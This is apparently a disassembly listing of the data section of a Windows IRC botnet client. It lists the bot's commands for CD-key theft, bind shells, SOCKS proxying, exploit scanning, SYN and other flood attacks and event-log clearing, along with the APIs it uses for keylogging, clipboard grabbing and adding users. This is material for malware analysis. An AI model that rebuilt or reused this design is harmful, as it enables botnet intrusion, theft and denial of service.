aDll		db 'dll',0              ; DATA XREF: sub_401ACD+18D6o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+18C1o
		align 10h
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+18ACo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+1897o
		align 10h
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1882o
		align 4
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+186Do
		align 4
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401ACD+1843o
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+182Eo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+1819o
		align 4
aLsp100		db 'lsp100',0           ; DATA XREF: sub_401ACD+17EFo
					; sub_401ACD+1804o
		align 4
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17DAo
		align 10h
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+17C5o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+17B0o
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+179Bo
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1786o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1771o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+175Co
		align 4
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1747o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1732o
		align 10h
aT:					; DATA XREF: sub_401ACD+1708o
					; ___:0043D4F0o ...
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16F3o
unk_431B9C	db  2Dh	; -		; DATA XREF: sub_401ACD+16BFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 4
unk_431BC4	db  2Dh	; -		; DATA XREF: sub_401ACD+16B8o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
aReboot		db 'reboot',0           ; DATA XREF: sub_401ACD+16A1o
		align 4
aI:					; DATA XREF: sub_401ACD+168Co
					; ___:0043D4FCo ...
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1677o
		align 4
aS_0:					; DATA XREF: sub_401ACD+1662o
					; ___:0043D508o ...
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+164Do
		align 10h
aQ:					; DATA XREF: sub_401ACD+1638o
					; ___:off_43D4E0o ...
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+1623o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+160Eo
		align 10h
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15F9o
		align 4
aR:					; DATA XREF: sub_401ACD+15E4o
					; sub_401ACD+3DA8o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15CFo
		align 4
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+15BAo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+15A5o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1590o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo
		align 4
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1566o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1551o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+153Co
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+1527o
		align 4
dword_431C88	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_401ACD+151Co
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+1517o
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14FEo
		align 4
dword_431CA8	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14F3o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14EEo
		align 10h
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14D5o
		align 4
dword_431CCC	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+14CAo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+14C5o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+14ACo
		align 10h
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1497o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1482o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+146Do
		align 4
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1458o
		align 4
dword_431D1C	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+144Do
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+142Fo
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+1406o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13DDo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+13B4o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+138Bo
unk_431D64	db  2Dh	; -		; DATA XREF: sub_401ACD+1371o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_431D98	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1336o
					; sub_401ACD+13D2o
dword_431DA8	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1331o
					; sub_401ACD+13CDo
dword_431DB8	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+1318o
					; sub_401ACD+13A9o
dword_431DC8	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+1313o
					; sub_401ACD+13A4o
dword_431DD8	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+12B8o
					; sub_401ACD+1424o
dword_431DE4	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o
					; sub_401ACD+141Fo
dword_431DF0	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao
					; sub_401ACD+13FBo
dword_431DFC	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o
					; sub_401ACD+13F6o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1235o
		align 4
dword_431E14	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+122Ao
					; sub_401ACD+12F7o
dword_431E20	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o
					; sub_401ACD+12F2o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+120Co
		align 4
dword_431E38	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+1201o
					; sub_401ACD+12D9o
dword_431E48	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11FCo
					; sub_401ACD+12D4o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11E3o
		align 4
dword_431E64	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11D8o
					; sub_401ACD+1357o
dword_431E74	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11D3o
					; sub_401ACD+1352o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+11BAo
		align 10h
dword_431E90	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo
					; sub_401ACD+1279o
dword_431E9C	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo
					; sub_401ACD+1274o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1191o
dword_431EB0	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1186o
					; sub_401ACD+125Bo
dword_431EBC	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o
					; sub_401ACD+1256o
dword_431EC8	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o
dword_431ED4	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+115Do
dword_431EE4	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1158o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+113Fo
		align 4
dword_431F04	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o
dword_431F10	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+112Fo
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+1116o
dword_431F24	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10EDo
		align 10h
dword_431F40	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10E2o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+10C4o
		align 4
dword_431F5C	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+10BCo
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+109Eo
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401ACD+1089o
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1074o
		align 4
dword_431F84	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1052o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+104Do
					; sub_401ACD+10B7o ...
		align 10h
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1034o
		align 10h
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+101Fo
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+100Ao
		align 10h
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FF5o
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FE0o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FCBo
					; sub_401ACD+2D69o
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+FB6o
					; sub_401ACD+2D58o
		align 10h
aSt		db 'st',0               ; DATA XREF: sub_401ACD+FA1o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F8Co
		align 10h
aDed		db 'ded',0              ; DATA XREF: sub_401ACD+F77o
aDedication	db 'dedication',0       ; DATA XREF: sub_401ACD+F62o
		align 10h
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F4Do
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F38o
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F23o
		align 10h
aD:					; DATA XREF: sub_401ACD+EF9o
					; ___:0043D50Co ...
		unicode	0, <d>,0
aDie		db 'die',0              ; DATA XREF: sub_401ACD+EE4o
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+ECFo
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+EB7o
a63		db '63',0               ; DATA XREF: sub_401ACD+D84o
		align 4
asc_432028:				; DATA XREF: sub_401ACD+D5Co
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D1Fo
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+D14o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+D03o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CE7o
		align 10h
aUser_0		db '$user',0            ; DATA XREF: sub_401ACD+CD6o
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CC4o
aD_0		db '$%d',0              ; DATA XREF: sub_401ACD+C56o
aD_1		db '$%d-',0             ; DATA XREF: sub_401ACD+B92o
		align 4
aK:					; DATA XREF: sub_401ACD+AA6o
					; sub_401ACD+3DD2o ...
		unicode	0, <k>,0
unk_43206C	db  2Dh	; -		; DATA XREF: sub_401ACD+A80o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 10h
unk_4320A0	db  2Dh	; -		; DATA XREF: sub_401ACD+A6Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 10h
unk_4320D0	db  2Dh	; -		; DATA XREF: sub_401ACD+A5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_31	db '- Failed to start chat thread, error: <%d>.',0
		align 4
unk_432108	db  2Dh	; -		; DATA XREF: sub_401ACD+9EFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+958o
		align 10h
unk_432130	db  2Dh	; -		; DATA XREF: sub_401ACD+938o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_432174	db  2Dh	; -		; DATA XREF: sub_401ACD+920o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_32	db '- Failed to start transfer thread, error: <%d>.',0
		align 10h
dword_4321B0	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+90Fo
		dd 0A0Dh
dword_4321C8	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8DBo
dword_4321D0	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8D0o
		dd 0D017325h, 0Ah
dword_4321EC	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+89Fo
dword_4321F8	dd 23h			; DATA XREF: sub_401ACD+816o
					; sub_40CA7F+1Bo
unk_4321FC	db  2Dh	; -		; DATA XREF: sub_401ACD+785o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_401ACD+706o
					; sub_401ACD+995o ...
		align 10h
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6DFo
		align 4
dword_432238	dd 43434401h, 0		; DATA XREF: sub_401ACD+6C1o
dword_432240	dd 323333h		; DATA XREF: sub_401ACD+64Bo
					; sub_401ACD+ADCo ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+629o
					; sub_409A72+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+61Do
					; sub_409A72+16o
unk_432254	db  2Dh	; -		; DATA XREF: sub_401ACD+5CCo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 4
unk_432278	db  2Dh	; -		; DATA XREF: sub_401ACD+5A5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
a353		db '353',0              ; DATA XREF: sub_401ACD+574o
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+537o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+526o
					; sub_401ACD+5E9o
		align 4
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4FEo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3D0o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+60Do
unk_4322CC	db  2Dh	; -		; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2EBCo ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7C8Eo ...
		align 10h
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_4177CF:loc_417837o
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3B7o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 10h
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_4177CF+50o
		align 4
asc_432338:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7DADo
		unicode	0, <!>,0
asc_43233C:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E5Co ...
		unicode	0, < >,0
asc_432340	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_402601o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409B12:loc_40A77Co
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409B12+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409B12+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409B12+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409B12+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409B12+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409B12:loc_40A6DEo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409B12+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409B12+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409B12:loc_40A694o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o
		align 10h
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409B12:loc_40A620o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409B12+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409B12:loc_40A5D6o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409B12:loc_40A58Co
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409B12+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo
					; sub_4185A4+65o
		align 10h
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409B12+9DFo
		align 10h
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409B12+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409B12+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409B12+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409B12+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409B12+984o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409B12+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409B12+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409B12:loc_40A470o
					; sub_4185A4+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409B12+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409B12+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409B12+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409B12:loc_40A411o
		align 10h
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409B12+82Co
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo
		align 10h
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o
		align 10h
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409B12:loc_40A2F1o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409B12+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409B12+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409B12+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409B12+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409B12+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409B12+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409B12+658o
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409B12+63Eo
		align 10h
aSelect		db 'select',0           ; DATA XREF: sub_409B12+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409B12+629o
		align 10h
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409B12+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409B12+60Ao
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_409B12+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409B12+5E3o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409B12+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409B12+5C9o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_409B12+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409B12+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409B12+5A2o
		align 4
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409B12+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409B12+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409B12+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409B12+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409B12+554o
		align 10h
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409B12+547o
		align 10h
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409B12+53Ao
		align 10h
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409B12+52Do
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409B12+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409B12+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409B12+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409B12+494o
		align 10h
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409B12+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409B12+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409B12+460o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o
		align 10h
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409B12+43Eo
		align 10h
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409B12:loc_409F3Fo
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409B12:loc_409F17o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o
		align 10h
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409B12+386o
		align 10h
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409B12+379o
		align 10h
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409B12+36Co
		align 10h
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409B12+35Fo
		align 10h
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409B12:loc_409E69o
		align 10h
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao
		align 10h
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409B12+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409B12+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409B12+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409B12+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409B12+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409B12+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409B12+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409B12:loc_409D71o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409B12+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409B12+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409B12+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409B12+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409B12+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409B12+16Co
		align 4
